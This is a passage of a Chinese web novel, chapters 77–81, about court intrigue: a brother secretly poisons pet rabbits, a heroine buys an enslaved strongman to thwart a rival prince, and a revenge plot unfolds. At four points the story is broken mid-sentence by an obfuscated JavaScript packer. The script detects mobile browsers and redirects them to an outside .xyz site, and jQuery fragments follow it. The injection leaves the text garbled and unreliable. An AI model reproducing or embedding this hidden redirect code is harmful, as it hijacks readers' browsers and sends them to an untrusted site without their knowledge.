她连忙起身,恭敬行礼:“三少爷!” “凌芜姑娘不必如此客气。”姜天泽目光落在桌上的竹笼上,“哪来的兔子?” “这是大小姐进宫时,宫里的皇子送给她的。”凌芜如实答道。 姜天泽脸上依旧挂着温和的笑容,笑意却不达眼底:“是五皇子送的吧?” “咦?三少爷你怎么知道?大小姐告诉你的吗?” “我随便猜猜的。”姜天泽垂眸,佯装在看兔子,掩饰眼底腾升而起的阴鸷。 三天两头地邀请大姐姐进宫还不够,竟然还送她宠物,以便继续占用她的时间和注意力。 这五皇子,要的是不是太多了? 就在这时,夏蝉走了过来:“凌芜姐姐,大小姐有事找你。” “我这就来!”凌芜连忙应道,说着,便准备拿起放在桌上的竹笼。 “凌芜姑娘,这两只兔子实在惹人喜爱,不知能否留下来让我看看?”姜天泽出声挽留道。 “自然可以。三少爷,您慢慢看,我先过去了。”凌芜说着,便转身离开了。 姜天泽目送着凌芜的身影消失在回廊尽头,这才缓缓收回目光。 等他的视线再次落在笼中的两只兔子身上时,眼底已然染上了一层浓烈的阴郁之色。 两只可怜的兔子似乎也察觉到了自己即将到来的命运,在狭小的笼子里瑟瑟发抖…… 第78章 人不可貌相 第七十八章人不可貌相 凌芜走进姜姝宁的房间:“大小姐唤奴婢前来,可是有什么吩咐?” 姜姝宁从妆奁中取出一双做工精巧的鹿皮手套,递到凌芜面前:“上次收了你送的袖**,至今还未回礼,心中着实过意不去。这双鹿皮手套是我亲手缝制的,冬日里戴着格外保暖,便当回礼送给你吧。” “大小姐如此厚爱,奴婢实在愧不敢当!这鹿皮手套一看便知价值不菲,奴婢万万不能收。”凌芜连忙推辞道。 “那袖**难道就便宜吗?”姜姝宁嗔怪道,“让你收着你就收着吧!我可是特意按照你的手型尺寸缝制的,你且戴上试试,看看是否合手?” 凌芜这才接过手套戴在手上。 柔软的鹿皮贴合着手掌,温暖舒适,她顿时爱不释手,感激道:“多谢大小姐!” 那袖**其实是四皇子殿下亲手为大小姐打造的,只不过借了她的名义送给大小姐罢了。 如今,她倒是因此得了一双珍贵的鹿皮手套,心中不禁暗暗感激四皇子。 姜姝宁犹豫片刻,压低声音叮嘱道:“今日我去皇宫的事情,你切莫告诉任何人,尤其是父亲。” 若是被姜丞相发现指使张尚书下毒之人就在皇宫里,他怕是又要辞官归乡了。 她还没替大哥报仇,怎能轻易离开京城? 这复仇之路纵然遍布荆棘,她也要手刃仇敌,用他们的鲜血来祭奠兄长的在天之灵! 凌芜想起姜姝宁从宫里出来时,唇角那抹不易察觉的血迹,连忙郑重地点头应道:“大小姐尽管放心,奴婢一定守口如瓶,绝不会向任何人透露半个字!” 姜姝宁如释重负地舒了一口气,起身道:“走吧,我们去看看那两只小兔子。” 主仆二人来到后院,却见姜天泽神色慌张地站在竹笼旁,手中还拿着一根啃了一半的胡萝卜,眼神里满是无措与懊恼。 “三弟,你也过来了?”姜姝宁笑着道。 “大姐姐……”姜天泽抬起头,眼眶泛红,一副泫然欲泣的模样,“对不起,都怪我……我不懂得如何喂养小兔子,一不小心,就把它们给……噎**!” 听到这话,姜姝宁和凌芜皆是一惊。 凌芜连忙打开竹笼,只见笼子里的两只兔子一动不动地躺在那里,早已没了气息。 她的心情顿时变得有些复杂。 姜姝宁正欲上前查看,姜天泽忽然拉住了她的袖子,满脸愧疚,声音哽咽道:“大姐姐,都怪我不好!是我害**你心爱的兔子。要不,你打我一顿出出气吧!” 说完,他便拉着姜姝宁的手,用力捶向自己的胸膛。 看着姜天泽通红的眼眶,以及那副懊悔不已的模样,姜姝宁心头一软,叹了口气道:“好了,不过是两只小兔子而已,你别太自责了。” “大姐姐不怪我吗?”姜天泽抬起头,小心翼翼地问道。 “我也是第一次养兔子,原本就没什么经验,也不知道原来兔子会被噎死。想来,这两只兔子与我无缘。”姜姝宁心中惋惜,但依旧安慰他。 “可是我心里还是觉得很内疚。要不这样吧,我赔姐姐两只宠物,这样我心里才能好受一些。”姜天泽仍旧坚持道。 姜姝宁见他如此执着,点了点头:“那好吧,就依你所言。” 她转身吩咐一旁的凌芜道:“将这两只小兔子葬在后院里吧,怪可怜的。” 一旁的夏蝉忽然插嘴道:“大小姐,凌芜姐姐,要不我们把兔子剥了皮烤着吃吧!我听说兔肉可香了!” “不行!”姜姝宁和凌芜异口同声地拒绝道。 姜姝宁道:“这两只并非肉兔,就算烤了也不好吃!凌芜,还是按照我说的,把它们埋了吧!” 若是哪天萧怀瑾问起这两只兔子的下落,她若是说被烤着吃了,他肯定会把她视作魔鬼的。 “是,大小姐!”凌芜提着装着两只死兔子的竹笼退了下去。 她来到后院,见四下无人,便将竹笼偷偷藏了起来。 夜幕降临,凌风按照惯例来到相府的屋顶,与凌芜碰面。 凌芜将竹笼提起来给他看。 凌风看到竹笼里的死兔子,笑着说:“兔子已经处理好了?我还担心你下不去手呢!” “并非我下的手,而是姜家三少爷。”凌芜解释道。 “哦?那不是更好?省得你还得费尽心思编造借口欺骗你家大小姐。” “事情并非如此简单。”凌芜神色变得有些凝重,“三少爷说是他不小心把兔子噎死的,可我明明已经喂过它们了,它们并不饿,又怎么可能因为进食太快而被噎死呢?后来我发现……” 凌芜从袖子里掏出一根细长的银针,扎入一只兔子的尸体,拔出来时,银针的尖端已经变成了黑色。 “这兔子是被人毒死的?!”凌风也大吃一惊,“这姜家三少爷竟然懂得用毒?难道,他早就知道他母亲南月毒师的身份?” “凌风,你难道没有发现问题的关键所在吗?”凌芜看着凌风,神情严肃,“姜家三少爷为何要无缘无故地毒死两只兔子?” 凌风不以为意:“这有什么好奇怪的?或许只是他生性顽劣吧?他有一个精通制毒的母亲,耳濡目染之下,自然也喜欢用**来戏弄小动物。说不定,他只是在帮他母亲试用新研制的**!” 凌芜虽然觉得凌风的解释也说得通,但她心中始终觉得有些蹊跷,却又说不出究竟是哪里不对劲。 “或许,真如你所说,他只是生性顽劣吧……” 凌风拍了拍凌芜的肩膀,说道:“今日之事你办得不错!我这就把这两只中了毒的死兔子带回去给殿下看看。你自己也要多加小心,千万要提防南月毒师和姜家三少爷!” 说完,他便足尖轻点,身形如一道利箭般射向夜空,转瞬间便消失得无影无踪。第二日,天色微曦,姜天泽便早早地来到了翠竹院外,叩响了院门。 “大小姐,三少爷在外面候着呢,说是要陪您一同前往集市挑选宠物。”夏蝉走进姜姝宁的房间,打着哈欠道。 凌芜秀眉微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620100|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙:“不过是买两只宠物罢了,有必要起这么早吗?大小姐昨夜秉烛夜读,想必十分疲惫,不如奴婢替您婉拒了三少爷的邀约,让您再多睡一会儿?” 姜姝宁轻轻揉了揉惺忪的睡眼:“不必了。三弟一片好意,不应辜负,况且昨日张姑娘下毒一事,想必让他心中郁结难消,今日正好陪他去集市上逛逛,散散心也好。” 凌芜心中暗忖,那张家小姐真是不自量力,竟敢对这狼崽子下毒,也不怕被他反杀! 待凌芜帮姜姝宁梳洗打扮完毕,主仆二人这才缓缓走出房门。 姜天泽早已等候在门外,脸上的笑容和熙,宛如三月春光。 凌芜实在很难将眼前这个人畜无害的少年跟昨日狠心下毒杀死一对兔子的人联系在一起。 果然,人不可貌相! 她忍不住嘀咕:“三少爷也来得太早了吧?难道集市上的宠物还能长腿跑了不成,晚些去也是一样能买到的啊!” 姜天泽笑眯眯地反驳:“凌芜姑娘此言差矣!这集市自然是越早去越好,若是去晚了,那些品相上乘的宠物早就被别人给挑走了!大姐姐,你说是不是?” 姜姝莞尔一笑,附和道:“我也想看看清晨的集市里究竟有些什么新奇玩意儿,我们还是快些出发吧!” 于是,三人便一同乘坐一辆马车,朝着京城最为热闹繁华的东市方向驶去。 东市果然是名不虚传,热闹非凡。 琳琅满目的商品应有尽有,从绫罗绸缎到瓜果蔬菜,从胭脂水粉到锅碗瓢盆,简直是包罗万象,让人目不暇接。 而且这里的商品不仅种类繁多,价格也比寻常店铺实惠不少,难怪如此吸引人。 姜姝宁兴致勃勃地穿梭于各个摊位之间,一会儿买些精致的糕点,一会儿挑些时新的脂粉,一会儿又被那些琳琅满目的首饰迷住了眼。 不知不觉间,她手中已经拿了不少东西,后悔没有多带几个家丁来帮忙。 “早知道东市的东西如此丰富,上次就应该和母亲一起来这边置办年货的!”她略带遗憾地叹了口气。 姜天泽见她如此喜爱逛集市,笑着道:“若是大姐姐觉得还不够尽兴,明日我们多带些家丁过来,好好采买一番。” 他就知道,没有哪个女子能够抵挡住逛集市的乐趣,他的大姐姐自然也不例外。 三人逛得有些疲惫了,便在路边寻了一处干净的摊位,点了三碗热气腾腾的汤面,稍作歇息。 就在这时,一辆板车他们面前缓缓驶过。 板车上站着几名男子,他们双手被粗麻绳捆绑着,寒冬腊月里,竟只穿着单薄的裤子,赤果着精壮的上半身,瑟瑟发抖。 姜姝宁知道,这些都是被公开贩卖的奴隶。 当她的目光扫过其中一个男子时,她整个人如同触电一般,猛地站了起来。 “大姐姐,您怎么了?可是有什么不妥?”姜天泽连忙问。 姜姝宁伸手指着板车上一个身形最为魁梧健硕的男子,语气急切地说道:“我要买下他!” 第79章 天生神力的奴隶 第七十九章天生神力的奴隶 “大小姐,您为何执意要买下这个男子?咱们相府家丁众多,并不缺人手。若您真需添置新丁,只需吩咐管事去办便是,何必亲自出面?”凌芜劝道。 姜天泽也附和道:“是啊,大姐姐,这奴隶生得一脸凶相,活像个未开化的野人,怕是桀骜难驯。您即便赎了他,将来也未必能将他驯服,何苦多此一举?” 对他们的劝说,姜姝宁丝毫不为所动。 她凝视着辇车上那身形魁梧、肤色黝黑的男子,语气决然:“我并非要他做家丁,我只是想买下他的命!” 人牙子见有生意上门,眼中闪过一丝狡黠。 “这位小姐看好了,这奴隶身强力壮,筋骨非凡,值三万钱,一分都不能少!” “三万钱?”姜天泽冷笑一声,“我拿这钱都能买下你手里所有的奴隶!你这分明是坐地起价!” 人牙子不以为意,拍了拍那黝黑男子的胸膛,得意洋洋地说道:“不是我吹嘘,各位就是把整个东市翻个底朝天,也未必能寻到第二个这般虎背熊腰、气力过人的奴隶!这身板,便是为主子挡刀,也能比旁人多挡上几回!” 凌芜嗤笑一声,语气不屑:“我家大小姐乃金枝玉叶,尊贵无比,哪里轮得到这种粗鄙之人替她挡刀?” 人牙子还欲再争辩几句,姜姝宁却懒得与他多费口舌,径直从袖中取出一锭金子递给他:“这样,够吗?” 那人牙子一见金子,双眼发直,忙不迭地点头哈腰:“够了!够了!不愧是大户人家的千金小姐,出手就是阔绰!您稍候,小的这就去取他的**契来!” 凌芜见姜姝宁如此迫不及待,心中疑惑更甚,忍不住问:“大小姐,您何须高价买下这个奴隶?难道你当真要将此人留在身边,收为打手?” 姜天泽脸色阴沉:“此人相貌粗野,身份低贱,怎配侍奉在大姐姐身侧?若大姐姐需要护卫,我愿效犬马之劳,断不比这莽夫差!” “你们不必多言,我自有我的打算。”姜姝宁目光落在那奴隶身上,心中思绪翻涌。 若她今日不买下他,不出半年,他便会因在角斗场屡屡获胜而被三皇子萧修湛买下,取名“阿蒙”。 前世,阿蒙对萧修湛忠心耿耿,多次以血肉之躯为他挡刀挡箭,舍命相护。 若非有他,萧修湛早已在那场声势浩大的剿匪行动中丧命。 后来,阿蒙更是为了营救萧修湛而战死沙场。 他以一己之力,阻挡住如潮水般涌来的敌兵,为萧修湛争取了宝贵的逃生时机。 今生,若她能提前将阿蒙收入囊中,便如同折断萧修湛的左膀右臂,说不定他会因此命丧匪巢! 人牙子殷勤地将**契递给姜姝宁,她仔细查阅,确认无误后,便将其妥善地收入袖中。 她转过身,看向那身形如小山般壮硕的奴隶:“你身上的绳索对你而言,形同虚设,你自己解开吧!” “是,小姐!”话音未落,那奴隶双臂猛然发力,只听“啪”的一声脆响,束缚在他身上那两指粗的绳索,便应声断裂,化为齑粉。 这一幕,顿时引得周围围观之人惊呼连连。 姜天泽脸色阴沉得几乎要滴出水来。 “此人力大无穷,区区绳索根本无法束缚,若他想逃脱,简直易如反掌。如此身手,为何甘愿被贩卖?大姐姐,你买下他,就不怕引狼**,后患无穷吗?” 姜姝宁闻言,只是意味深长地笑了笑,并未正面回答,而是将目光那奴隶:“你还没有名字吧?既然如此,我便赐你一个名字。从今日起,你就叫浩力!” 阿蒙,听起来就像是蒙昧无知之人,只会愚忠。 她要的,是一把蕴藏着浩瀚之力的利刃! “是!浩力谢小姐赐名!”浩力感激的声音,如同洪钟般震耳欲聋。 姜天泽目光如鹰隼般锐利,直逼浩力:“浩力,我问你,你拥有如此惊世骇俗的蛮力,区区绳索根本困不住你,为何还要甘愿俯首为奴,任人宰割?” 浩力眨了眨眼,神情憨厚:“因为只有被买下来,才能有口饱饭吃。” “仅仅为了区区一口饱饭?我不信!这其中,必定另有隐情!”姜天泽依旧不依不饶。 遭到质疑,浩力一脸委屈:“公子家境殷实,自然不知我等贱籍之人,想要填饱肚子,是何等艰难。奴隶身份低微,不得从事正经营生,若无法赚取钱财,想要吃上一顿饱饭,便只能铤而走险,落草为寇,上山为匪。可是,当土匪,终日刀头舔血,朝不保夕,九死一生,还不如安安分分地当个奴隶,至少还能苟延残喘,图个安稳。” 姜天泽闻言,神情顿时复杂难辨。 姜姝宁以为他有所触动,柔声道:“浩力宁愿为奴以求温饱,也不愿落草为寇,为祸一方,可见他虽出身卑微,却心怀善念,是个有底线、有品行之人,不会为了苟且偷生而做出伤天害理之事。这样的人,值得我以高价买下!” “大姐姐所言极是。”姜天泽眼帘低垂,遮掩住眸底一闪而逝的阴鸷。 若换作是他,哪怕当土匪也绝不当奴隶! 土匪虽朝不保夕,命悬一线,但只要活着,便可烧杀抢掠,为所欲为,不受任何束缚。 而奴隶,却要终日仰人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620101|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻息,如履薄冰,毫无尊严地苟且偷生。 宁可我负尽天下人,也绝不容许天下人负我! 除非,负他的人是…… 姜天泽的目光情不自禁地追随着姜姝宁的身影,心神摇曳,思绪万千。 但愿自己这份难以言说的情愫,不会被她所辜负。 因买下了浩力,姜姝宁无心继续逛集市,便带着姜天泽和凌芜匆匆踏上归途。 三人共乘一辆马车,而浩力则一边吃着姜姝宁特意为他买下的肉包,一边健步如飞地紧随马车之后。 奈何这东市实在太过熙攘喧闹,摩肩接踵,马车行至一处,便被摊贩们随意摆放的摊位所阻挡,寸步难行。 老杨见状,连忙回身禀报道:“大小姐,请您稍待片刻,容小的下去与那些摊主交涉一番,让他们将摊位稍微挪动挪动,也好让马车顺利通行!” 浩力见状,对着车窗高声喊道:“大小姐,若是您信得过我,不如将这马车交给我来处置,我保证能让马车安然通过!” 姜姝宁毫不犹豫地应道:“既然如此,那就交给你了,切莫伤到他人。” 浩力连忙将手中剩下的半块肉包一股脑地塞入口中,随后深吸一口气,扎稳马步,双手稳稳地托住车身底部,竟将整辆马车抬离地面! 他神情自若,脚步稳健,轻松地抬着马车,巧妙地避开那些越界的摊位,平稳地将马车放置在前方空旷之处。 周围的百姓们亲眼目睹了这匪夷所思的一幕,顿时爆发出一阵阵惊叹声。 不远处,一辆装饰奢华的马车内,三皇子萧修湛正好瞥见了这令人惊叹的一幕。 “那马车里的人,不就是姜家嫡长女,姜姝宁吗?她身边怎会有如此力大无穷的下人?”萧修湛剑眉微挑。 他身旁的随从顺着他的目光望去,略一辨认便答道:“殿下,看其衣着打扮,此人应是刚被买下的奴隶。” “姜姝宁一个尚未出阁的女子,买下这等孔武有力的奴隶,究竟意欲何为?”萧修湛好奇心被勾起,不由自主地想要一探究竟,“停车,我们也下去看看!” 随从闻言,顿时面露难色,连忙俯身劝阻道:“殿下,今日恐怕不宜节外生枝啊!您与赌坊的掌事人早已约定好时辰,若是迟到,恐怕会惹得对方不悦!” 萧修湛听罢,略一沉吟,最终还是压下了下车一探的念头,毕竟与赌坊的合作事关重大,不容有失。 然而,他的目光却始终无法从那奴隶身上移开,仿佛被磁石吸引一般,紧紧追随着他那健硕的身影,久久不愿离去。 他总觉得,此人本该为他所用才是。 第80章 逆天改命 第八十章逆天改命 方才浩力徒手举车,就连见多识广的凌芜,也有些难以置信。 她虽见过不少武功盖世的江湖高手,却从未见过如此力大无穷的奇人异士。 大小姐究竟是如何看出这奴隶天赋异禀的? 姜天泽抢先一步,问出了她心中的疑问。 “大姐姐似乎早就料到这浩力拥有神力。可是,大姐姐分明是第一次来到这东市,也是第一次见到浩力。”姜天泽目光如炬,紧紧地锁住姜姝宁,不放过她脸上任何一丝细微的神情变化,“大姐姐,你究竟是如何做到的?可否告知我?” “这有何难?”姜姝宁神色云淡风轻,“我不过是比常人观察细致罢了。方才我看到这些被贩卖的奴隶时,发现他们个个都被绳索捆缚着,蜷缩成一团,脸上满是哀伤与绝望。唯独这浩力,被绳索加身,却依然神情自若,丝毫不显局促之态。我便由此推断,那区区绳索,对他而言,如同虚设,根本无法束缚住他。自然也能猜到他有神力,是个可用之才。” 这番解释,乍听之下似乎颇有道理,但若是细细推敲,便会发现其中漏洞百出,难以自圆其说。 姜天泽目光深邃,意味深长地看了姜姝宁一眼:“大姐姐果然观察入微,心思缜密,令人佩服。” “三弟过奖了。”姜姝宁淡淡一笑,躲避他过分锐利的目光。 这个三弟心思敏锐,着实不好糊弄,不过此事与他并无瓜葛,即便他察觉到一丝端倪,应该也不会产生什么影响。 姜天泽自然不信姜姝宁拥有洞悉一切的超凡能力。 倘若她真有洞察人心的能力,自己那份埋藏在心底深处,见不得光的隐秘心思,岂不是早就暴露无遗了吗? 浩力随着姜姝宁回了相府。 新添了浩力这么一位力拔山兮的奇人,却让府中的管事犯了难,不知该如何安置这位“大力士”才好。 起初,管事安排浩力去搬运花盆,谁知他力道过猛,稍不留神便将花盆捏了个粉碎,接连打碎了好几个,其中甚至包括姜夫人最为珍爱的一盆奇花,惹得夫人院中的嬷嬷气得险些背过气去; 后来,又让他去劈柴,结果他一人只用了一个时辰,便将家丁们七天的工作量全都完成了。 家丁们无所事事,聚在院子里闲聊,这番情景又把管事气得吹胡子瞪眼; 再后来,又让他去修缮后院的栅栏,可他手脚笨拙,手劲却大得出奇,非但没能将栅栏修好,反而还弄坏了更多的地方…… 这一天下来,前来翠竹院向姜姝宁抱怨之人络绎不绝,几乎将门槛踏破。 管事更是愁眉苦脸,苦不堪言:“大小姐,咱府里实在是没有那么多适合浩力做的活计啊!而且,他饭量也实在是太大了,短短几日,便吃掉了其他家丁近一个月的口粮,照这样下去,可如何是好啊?” “浩力天生神力,本就不是在府里做些琐碎杂活的料。”姜姝宁笑着安慰道,“管事放心,我会尽快为他安排一个更合适的去处。” “如此,那便有劳大小姐了!”管事如释重负,千恩万谢地退了下去。 凌芜好奇地问:“大小姐打算将浩力送往何处?” “他身怀如此惊世骇俗的本领,却被拘泥于相府之中做些粗活,实在是暴殄天物。如此人才,自然应当送往军中历练一番,让他**得一身精湛的武艺,将来有机会为朝廷效力,保卫我大邺的**河山!”姜姝宁道。 凌芜心神微动,提议道:“大小姐所言极是。奴婢听闻各位皇子殿下都有自己的护卫队,不如我们将他送给有需要的皇子,借此机会卖个人情,岂不是两全其美?” 若是四皇子殿下能够得到这么一位力大无穷的能人异士,将来能够做成的事情,定然不可估量。 姜姝宁笑着道:“我正有此意。” 第二日,姜姝宁带着浩力来到了夏府。 庭院之中,夏嫣正挥舞着双刀,刀光霍霍,身姿矫健,宛如一只翩跹的彩蝶,英姿飒爽,令人叹为观止。 姜姝宁看得目眩神迷,由衷地赞叹道:“夏嫣,你真是将‘巾帼不让须眉’这句话诠释得淋漓尽致!放眼这大邺王朝,能与你武艺比肩的女子,恐怕也找不出第二个了吧?” 姜瑶真虽也略通拳脚功夫,但她心思只放在骑射蹴鞠等玩乐之事上,与夏嫣这般在武艺上精益求精之人,根本无法相提并论。 听到姜姝宁的夸赞,夏嫣的笑容愈发灿烂,眉宇间也多了几分得意之色:“我今日这番卖力的练习,可是为了过几日进宫时,能在二皇子殿下面前好好表现一番!” 姜姝宁挤眉弄眼,打趣道:“你这般英姿飒爽,武艺超群,二皇子殿下见了,定会被你迷得神魂颠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620102|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒,茶饭不思!” “你呀,就爱取笑我!”夏嫣娇嗔地白了她一眼,随后落座,端起茶水一饮而尽,这才问道,“说吧,今日特意前来拜访,究竟有何要事?” “我得了一个天生神力的奇人,想借你之手,将他引荐给二皇子殿下。这是他的**契。”姜姝宁说着,便从袖中取出浩力的**契,递给了夏嫣。 夏嫣接过**契,略略扫了一眼,随后将目光落在站在姜姝宁身后的浩力身上。 见他身材魁梧,肌肉虬结,的确是一副孔武有力的模样。 “看起来倒的确是挺健壮的,不过,他到底有多大力气,我还得亲自试一试才行!”夏嫣站起身来,对浩力道,“你随我来!” 她带着浩力来到了府中的兵器房,让他随意挑选房中的兵器使用。 浩力没让她失望。 无论他拿起什么兵器,都显得轻松无比,游刃有余。 夏嫣不由得啧啧称赞,眼中满是欣赏之色:“果然是天赋异禀,天生神力!这样的能人异士,若是能收入二皇子殿下麾下,必定能大有作为,如虎添翼!” “浩力,还不快快谢过夏姑娘?她即将引荐你给二皇子殿下,日后,你便可以为二皇子殿下效力,建功立业了!”姜姝宁对浩力道。 “谢夏姑娘!”浩力跪下朝夏嫣磕了个头。 他犹豫了片刻,这才有些不好意思地问道,“跟着二皇子殿下,能吃饱饭吗?”“自然!”夏嫣笑着道,“饭的事你不用担心,管够!” “那我便放心了!”浩力憨厚一笑,“浩力这条命,以后就是二皇子殿下的了,殿下指哪儿,浩力就打哪儿!” 姜姝宁郑重地嘱咐道:“浩力,你要记住,从今往后,二皇子殿下便是你的主人,你务必要对他忠心耿耿,以性命护他周全,万万不可有二心!” “是,浩力谨遵大小姐教诲,定当铭记于心!”浩力用力地点了点头,神情坚定。 姜姝宁脸上露出欣慰之色。 今生,若大邺与南月之间终有一战,她必竭尽全力保住二皇子的性命。 无论二皇子对夏嫣是否有意,她都不愿眼睁睁地看着他再次惨死在三皇子萧修湛的阴谋算计之中。 让前世护萧修湛周全之人,今生转而誓死守护二皇子,这般乾坤扭转,怎能不算得上是逆天改命? 第81章 西征剿匪 第八十一章西征剿匪 浩力被送到了二皇子萧锦瑜面前。 萧锦瑜素来惜才,一见浩力果然力拔千钧,非同凡响,如获至宝,当即便拍板决定,将他送往外祖父武定侯的军营之中,接受最为正规、最为严苛的训练,系统地学习弓马骑射,刀枪剑戟等武艺。 浩力虽则饭量奇大,性情也颇为憨直,却并非朽木疙瘩,操练之法一点就透,进步神速,这让萧锦瑜颇为满意。 他亲自登门拜谢,喜悦之情溢于言表:“这浩力当真是个可造之材!如此难得的人才,夏将军竟舍得割爱相赠,我实在感激不尽!” 夏嫣谨遵姜姝宁的嘱咐,绝口不提浩力乃是购来的奴隶,只轻描淡写道:“他是我从父亲麾下精心挑选的猛士,特意献给殿下。我看殿下身侧正缺一得力护卫,故而引荐浩力,望能为殿下分忧。” “夏姑娘果然是我的知己,事事都为我筹谋!”萧锦瑜目光灼灼地看着她,“我都不知当如何感谢你!” 夏嫣双颊顿时染上两抹红霞,她羞涩地垂首:“殿下能明白我心意,我便心满意足了。” 萧锦瑜朗笑一声,拍了拍她的肩:“若你是男儿身,我定要与你把酒言欢,结为异姓兄弟!” 此言一出,夏嫣脸上的笑意骤然凝固,心头泛起一丝酸涩。 难道在他心中,他们之间除了兄弟情谊,便再无其他可能了吗? 姜姝宁借夏嫣之手,将浩力引荐给二皇子萧锦瑜一事,很快便传到了四皇子萧凌川的耳中。 凌风有些愤愤不平:“那浩力孔武有力,勇猛过人,乃是百里挑一的将才,姜姑娘竟然不将人留给殿下您,反而转手送给了二皇子,实在令人费解!亏殿下您不仅将凌芜派去暗中保护她,还屡屡在暗中出手相助……” 萧凌川桃花眸中波澜不惊,语气淡然:“她终究还是,太过天真了。” 她一门心思想阻止那身怀异能的浩力如前世那般被萧修湛收入麾下,为其所用。 可她又怎会明白,少了一个浩力或阿蒙,根本无法撼动萧修湛的根基,更不可能轻易地要了他的性命。 前世,他与萧修湛明争暗斗多年,历经无数生死博弈,才堪堪与他势均力敌。 他比谁都清楚,想要将萧修湛置之死地,绝非除去一两个喽啰就能奏效。 年关将至,西榆之地匪患猖獗。 官道上、运河边,商旅常被**洗劫一空。 遭遇**的男人被当场残忍杀害,女人则被强行掳走,其手段狠毒,令人发指。 这事闹得朝野震动,百姓怨声四起。 若不将这伙悍匪连根拔起,彻底剿灭,朝廷无法向大邺百姓交代。 皇帝大怒,下令组建剿匪大军,直捣西榆匪巢,务必将匪患彻底铲除。 和前世一样,三皇子萧修湛主动**西征剿匪。 消息传至相府,姜瑶真顿时坐立不安。 萧凌川给的“药”起了作用,她脸上的疙瘩已经消散。 没想到还没来得及与三皇子见上一面,就等来了这等晴天霹雳的消息。 她匆匆赶往来福酒楼,与姨娘密会。 “娘,您随三皇子殿下前往西榆吧!他此番直捣匪巢,凶险万分,女儿唯恐他有个闪失!”姜瑶真语气急切。 姨娘比划着回应:“西榆路途遥远,往返需两月之久。我每月须向四皇子讨要解药,怕是无法远行。” “那可如何是好?若三皇子有个三长两短,我们多年的筹谋岂不尽付东流?”姜瑶真心急如焚。 母女二人早将赌注尽数押在萧修湛身上,原想借萧凌川之力助他夺嫡,哪知这南月后裔心机深沉,不仅未被她们掌控,反将母女二人算计得死死的。 如今姨娘被迫为萧凌川效力,姜瑶真更成其手中要挟的软肋。 母女俩对萧凌川恨得咬牙切齿,只盼萧修湛有朝一日登临大宝,方能摆脱桎梏。 可眼下,萧修湛将亲赴西榆剿匪,生死未卜,姜瑶真如何能安心? 姨娘比划着宽慰:“三皇子福泽深厚,定能逢凶化吉,平安归来。” 即便如此,姜瑶真仍是心神不宁。 回到相府,她见姜姝宁带着凌芜出门,手提祭拜之物,行色匆匆。 这个时候,她要去祭拜何人? 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620103|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶真心生疑窦,叫来马车,悄然尾随其后。 她发现姜姝宁径直前往姜氏祠堂。 为不被凌芜发现,她绕至祠堂侧门,蹑手蹑脚跟在姜姝宁身后。 祠堂内,姜姝宁跪在姜天恩牌位前,神色肃穆虔诚。 “大哥,三皇子此行西榆,定然在劫难逃!届时,您在九泉之下,也可瞑目了!” 说完,她倾倒一杯清酒于地,恭敬叩拜,动作虔诚而庄重。 这一幕,令姜瑶真毛骨悚然,心底寒意骤生。 姜姝宁为何对着姜天恩的灵位说出那番话? 莫非,她要对三皇子不利? 绝不能让她得逞! 姜瑶真不敢耽搁,立即离开祠堂,戴好面纱,匆匆登上马车,直奔春香楼而去。 自从凝香入宫后,三皇子萧修湛又在春香楼寻捧红了一位名为“红樱”的花魁。 此女舞姿妖娆,媚骨天成,一举一动皆令人心旌摇曳。 姜瑶真抵达春香楼后,故技重施,直接跃窗而入。 萧修湛正看舞看得兴起,见她蒙面闯入,以为她脸上疮疤未愈,眸中闪过一丝厌烦:“你来此作甚?这春香楼岂是你能随意进出的地方?” 姜瑶真的姨娘当年便是春香楼的歌伎,对这里的构造早已烂熟于心。 她手中握有春香楼的详细布局图,出入自然易如反掌。 “臣女有要事禀告。”她缓缓摘下面纱,露出那张光洁无瑕的脸庞。 萧修湛见她脸上那些可怖的疙瘩已然消失,顿时变得和颜悦色起来。 他挥手示意红樱退下,这才笑着说道:“姜二姑娘有话但说无妨。” 